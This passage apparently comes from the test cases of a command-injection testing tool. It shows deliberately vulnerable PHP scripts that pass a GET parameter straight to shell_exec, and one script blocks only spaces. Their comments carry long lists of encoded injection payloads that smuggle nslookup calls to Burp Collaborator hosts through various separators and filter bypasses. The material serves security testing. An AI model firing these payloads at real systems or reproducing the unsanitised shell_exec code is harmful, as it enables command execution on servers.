249a479.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%3B\n%3B%60nslookup%09725.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%3B.\n%24%28nslookup+68.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%7C\n.%26%24%28nslookup%091031.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%26\n.%26%60nslookup%091067.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%26\n%60nslookup%09158.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%F0%9F%92%A9\n%7C%60nslookup+272.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60\n%3B%24%28nslookup%09431.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%3B\n%0A%24%28nslookup+518.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%0A.\n|`nslookup$IFS$9a826.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net`|.'\n.%22%3B%60nslookup+947.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%3B%22\n.%27%0A%60nslookup%091061.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%0A%27\n%24%28nslookup%09149.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%26\n.%27%7C%24%28nslookup%091043.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%7C%27\n.%22%7C%24%28nslookup+902.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%7C%22\n;$(nslookup$IFS$9a799.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net);.'\n.%22%26%60nslookup+929.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%26%22\n|`nslookup$IFS$9a475.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net`|\n%26%24%28nslookup%09674.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%26.%27\n.%3B%60nslookup+941.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%3B\n.%22%26nslookup%091001.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%26%22\n.%22%7C%60nslookup+938.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%7C%22\n%24%28nslookup%24IFS%249a209.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%0A\n%3B%60nslookup%24IFS%249a359.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60\n%60nslookup%09176.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%3B\n%24%28nslookup%09155.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%3B\n$(nslookup$IFS$9a199.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net)=©\n%60nslookup%09173.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%7C\n%7C%60nslookup%24IFS%249a476.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%7C\n%24%28nslookup%0917.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29\n%3B%24%28nslookup+545.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%3B.\n.%22%3Bnslookup+875.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%3B%22\n%24%28nslookup+65.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%26\n.%7C%60nslookup+932.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%7C\n`nslookup$IFS$9a220.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net`=©\n%24%28nslookup%24IFS%249a212.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%26\n%0A%60nslookup%24IFS%249a470.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%0A\n;`nslookup$IFS$9a835.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net`;.'\n.%22%0A%60nslookup%091064.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%0A%22\n%7C%24%28nslookup%24IFS%249a464.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%7C\n%60nslookup%09167.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%0A\n%26%24%28nslookup+257.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29\n.%27%0A%60nslookup+917.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%0A%27\n%26%24%28nslookup%24IFS%249a779.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%26.\n%3B%24%28nslookup+263.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29\n%60nslookup+83.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%0A\n%7C%60nslookup%24IFS%249a356.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60\n;`nslookup$IFS$9a358.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net`\n%7C%60nslookup%09320.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60\n%0A%60nslookup+554.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%0A.\n%24%28nslookup+5.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29\n%0A%60nslookup+386.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%0A\n%7C%60nslookup+575.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%7C.%27\n%26%24%28nslookup%24IFS%249a341.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29\n%60nslookup%0920.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60\n%24%28nslookup+53.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%F0%9F%92%A9\n$(nslookup$IFS$9a217.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net);\n`nslookup$IFS$9a235.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net`|\n%7C%60nslookup%24IFS%249a824.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%7C.\n%24%28nslookup+62.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%0A\n%3B%60nslookup%24IFS%249a836.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%3B.%27\n.%22%7C%24%28nslookup%091046.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%7C%22\n.%27%0A%24%28nslookup+881.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%0A%27\n.%22%0Anslookup%09992.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%0A%22\n%0A%60nslookup%24IFS%249a350.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60\n$(nslookup$IFS$9a25.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net)\n%0A%24%28nslookup+521.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%0A.%27\n%7C%24%28nslookup%24IFS%249a788.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%7C.\n%3B%24%28nslookup+548.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%3B.%27\n%24%28nslookup%09143.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29+%23\n%60nslookup%24IFS%249a221.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%F0%9F%92%A9\n%7C%24%28nslookup%09428.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%7C\n|$(nslookup$IFS$9a787.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net)|.\n%7C%24%28nslookup+539.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%7C.%27\n|`nslookup$IFS$9a355.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net`\n;$(nslookup$IFS$9a466.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net);\n.%22%7Cnslookup+866.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%7C%22\n`nslookup$IFS$9a232.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net`&\n%3B%24%28nslookup%24IFS%249a797.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%3B.\n%3B%60nslookup+581.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%3B.\n%60nslookup%24IFS%249a230.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%0A\n%3B%24%28nslookup%24IFS%249a800.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%3B.%27\n%26%24%28nslookup%09425.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%26\n%26%24%28nslookup+530.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%26.%27\n.%22%0A%60nslookup+920.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%0A%22\n%60nslookup%24IFS%249a227.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60+%23\n%24%28nslookup%09152.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%7C\n.%22%3Bnslookup%091019.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%3B%22\n%60nslookup+74.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%F0%9F%92%A9\n%24%28nslookup%09146.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%0A\n.%22%26%24%28nslookup+893.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%26%22\n.%0A%24%28nslookup+878.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%0A\n.%27%7C%60nslookup+935.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%7C%27\n%0A%24%28nslookup%24IFS%249a338.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29\n%26%60nslookup%09710.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%26.%27\n.%22%3B%24%28nslookup%091055.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%3B%22\n%3B%60nslookup+275.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60\n%26%60nslookup%09707.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%26.\n%24%28nslookup%09137.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%F0%9F%92%A9\n|$(nslookup$IFS$9a463.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net)|\n%0A%60nslookup%24IFS%249a806.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%0A.\n%26%60nslookup%09317.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60\n.%27%26%60nslookup+926.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%26%27\n%60nslookup+8.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60\n|$(nslookup$IFS$9a790.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net)|.'\n%24%28nslookup%24IFS%249a218.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%3B\n%7C%60nslookup%24IFS%249a827.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%7C.%27\n.%27%3B%60nslookup+944.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%3B%27\n.%7C%24%28nslookup+896.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%7C\n`nslookup$IFS$9a238.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net`;\n%7C%24%28nslookup+260.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29\n%26%60nslookup%24IFS%249a353.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60\n%26%60nslookup+566.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%26.%27\n%26%60nslookup%24IFS%249a815.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%26.\n%3B%24%28nslookup%09689.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%3B.\n%60nslookup%24IFS%249a236.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%7C\n%60nslookup%24IFS%249a239.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%3B\n;$(nslookup$IFS$9a346.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net)\n%26%60nslookup+563.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%26.\n%7C%24%28nslookup%09683.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%7C.%27\n%60nslookup%24IFS%249a29.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60\n.%3B%24%28nslookup%091049.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%3B\n.%0A%60nslookup+914.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%0A\n%7C%60nslookup%09719.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%7C.%27\n$(nslookup$IFS$9a214.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net)|\n%24%28nslookup+59.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29+%23\n%26%60nslookup+269.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60\n$(nslookup$IFS$9a211.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net)&\n%26%60nslookup%09437.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%26\n%24%28nslookup+71.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%3B\n%60nslookup+92.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%3B\n%26%24%28nslookup+377.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%26\n%0A%60nslookup+557.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%0A.%27\n%3B%24%28nslookup%24IFS%249a467.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%3B\n%7C%24%28nslookup%09680.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%7C.\n%3B%60nslookup%09728.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%3B.%27\n%0A%24%28nslookup%24IFS%249a458.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%0A\n.%27%3B%24%28nslookup%091052.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%3B%27\n%0A%60nslookup%24IFS%249a809.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%0A.%27\n.%22%26%24%28nslookup%091037.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%26%22\n%60nslookup%09170.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%26\n%3B%60nslookup%09443.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%3B\n|`nslookup$IFS$9a823.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net`|.\n%26%24%28nslookup%09671.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%26.\n.%22%3B%24%28nslookup+911.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%3B%22\n.%27%3B%24%28nslookup+908.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%3B%27\n.%22%0A%24%28nslookup+884.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%0A%22\n.%7C%24%28nslookup%091040.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%7C\n;`nslookup$IFS$9a478.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net`;\n%26%60nslookup+389.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%26\n%60nslookup%24IFS%249a233.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%26\n%26%24%28nslookup%24IFS%249a461.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%26\n.%26%24%28nslookup+887.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%26\n%24%28nslookup%24IFS%249a26.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29\n.%0A%24%28nslookup%091022.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%0A\n%3B%60nslookup%09323.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60\n%7C%24%28nslookup%24IFS%249a344.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29\n.%22%26nslookup+857.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%26%22\n%7C%60nslookup+572.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%7C.\n%0A%60nslookup%09314.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60\n%26%60nslookup%24IFS%249a818.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%26.%27\n.%27%0A%24%28nslookup%091025.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%0A%27\n%60nslookup+80.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60+%23\n.%27%26%24%28nslookup%091034.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%26%27\n%0A%60nslookup%09698.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%0A.\n`nslookup$IFS$9a28.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net`\n%0A%24%28nslookup%09665.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%0A.%27\n%7C%24%28nslookup+536.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%7C.\n.%26%60nslookup+923.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%26\n|$(nslookup$IFS$9a343.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net)\n%24%28nslookup%24IFS%249a200.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%F0%9F%92%A9\n.%0A%60nslookup%091058.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%0A\n%60nslookup+89.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%7C\n%3B%24%28nslookup+383.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%3B\n%3B%24%28nslookup%09692.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%3B.%27\n%7C%60nslookup%09440.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%7C\n%60nslookup%09164.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60+%23\n%7C%24%28nslookup+380.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%7C\n.%22%0Anslookup+848.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%0A%22\n%3B%60nslookup+584.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%3B.%27\n%0A%60nslookup%09701.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%0A.%27\n%0A%60nslookup+266.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60\n%0A%60nslookup%09434.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%0A\n%7C%60nslookup+392.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%7C\n%60nslookup+86.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%26\n%7C%60nslookup%09716.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%7C.\n%3B%24%28nslookup%24IFS%249a347.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29\n%0A%24%28nslookup%24IFS%249a770.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%0A.\n%24%28nslookup%24IFS%249a206.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29+%23\n%3B%60nslookup%24IFS%249a833.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%3B.\n%26%60nslookup%24IFS%249a473.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%26\n%3B%60nslookup+395.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%60%3B\n%0A%24%28nslookup%09302.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29\n%26%24%28nslookup%24IFS%249a782.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%26.%27\n%0A%24%28nslookup+254.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29\n%0A%24%28nslookup%24IFS%249a773.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%0A.%27\n*/\n\nif(isset($_GET['dir'])) echo \"Dir contents are:\\n<br />\".shell_exec(\"ls \\\"{$_GET['dir']}\\\"\");\n?>\n<a href=\"?dir=.\">clickme</a>\n"
  },
  {
    "path": "test_cases/simple_no_spaces.php",
    "content": "<?php\n# filename: simple_no_space.php\n# vulnerable, an argument separator other than whitespace needs to be used (e.g. tab, but also $IFS$9 or %25ProgramFiles:~10,1%25)\n# \n\nif(isset($_GET['dir'])&&!preg_match('/ /',$_GET['dir'])) echo \"Dir contents are:\\n<br />\".shell_exec(\"ls {$_GET['dir']}\");\n?>\n<a href=\"?dir=.\">clickme</a>\n"
  },
  {
    "path": "test_cases/simple_start_alphanum.php",
    "content": "<?php\n# filename: simple_start_alphanum.php\n# vulnerable, has to start with an alphanumeric character\n# sample payloads:\n/*\narg%26nslookup+1211.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%26arg\n%0A%60nslookup%09698.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%0Aarg\narg%3Bnslookup%24IFS%249a1481.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%3Barg\narg%26%24%28nslookup%091391.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%26arg\narg%22%3B%60nslookup%091451.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%3B%22arg\narg%26nslookup%091355.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%26arg\n%26%24%28nslookup+527.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%26arg\narg%22%26%24%28nslookup%091397.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%26%22arg\n%3B%24%28nslookup%24IFS%249a797.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%3Barg\n%3Bnslookup%24IFS%249a761.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%3Barg\n%0Anslookup+242.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net\n%26nslookup+245.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net\n;$(nslookup$IFS$9a796.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net);arg\n%26%60nslookup%24IFS%249a815.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%26arg\narg%22%24%28nslookup+1568.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%22arg\narg%7Cnslookup%24IFS%249a1472.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%7Carg\n|`nslookup$IFS$9a823.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net`|arg\narg%22%0A%60nslookup%24IFS%249a1532.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%0A%22arg\n%0Anslookup%24IFS%249a446.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%0A\narg%22%3B%60nslookup+1307.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%3B%22arg\narg%22%3B%60nslookup%24IFS%249a1559.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%3B%22arg\n%3Bnslookup%09299.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net\narg%7C%60nslookup%091436.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%7Carg\narg%0Anslookup%091346.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%0Aarg\narg%22%26%24%28nslookup+1253.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%26%22arg\narg%22%7C%60nslookup%24IFS%249a1550.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%7C%22arg\narg%26%24%28nslookup+1247.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%26arg\narg%22%0A%60nslookup%091424.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%0A%22arg\narg%0Anslookup+1202.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%0Aarg\narg%0Anslookup+842.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%0A\narg%22%7C%24%28nslookup%091406.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%7C%22arg\n%7Cnslookup+500.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%7Carg\narg%0Anslookup%24IFS%249a1454.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%0Aarg\n%26nslookup%24IFS%249a743.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%26arg\n|$(nslookup$IFS$9a787.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net)|arg\narg%22%26%60nslookup%091433.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%26%22arg\narg%22%7C%24%28nslookup%24IFS%249a1514.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%7C%22arg\narg%22%0A%24%28nslookup+1244.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%0A%22arg\narg%0A%60nslookup%091418.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%0Aarg\narg|$(nslookup$IFS$9a1507.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net)|arg\narg%3B%60nslookup%24IFS%249a1553.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%3Barg\n%0Anslookup+482.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%0Aarg\narg\";`nslookup$IFS$9a1558.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net`;\"arg\n%3B%24%28nslookup%09689.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%3Barg\narg%7C%60nslookup%24IFS%249a1544.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%7Carg\narg\";$(nslookup$IFS$9a1522.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net);\"arg\n%0A%24%28nslookup+518.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%0Aarg\n%0A%60nslookup%24IFS%249a806.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%0Aarg\n%7C%60nslookup%24IFS%249a824.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%7Carg\n%0Anslookup%24IFS%249a734.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%0Aarg\narg%0A%24%28nslookup%091382.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%0Aarg\n%26nslookup%24IFS%249a329.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net\narg%3B%24%28nslookup%24IFS%249a1517.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%3Barg\n%0Anslookup+362.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%0A\narg%22%3B%24%28nslookup%24IFS%249a1523.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%3B%22arg\n%3Bnslookup+251.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net\narg%3B%24%28nslookup%091409.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%3Barg\narg\"`nslookup$IFS$9a1612.aaoczgn8s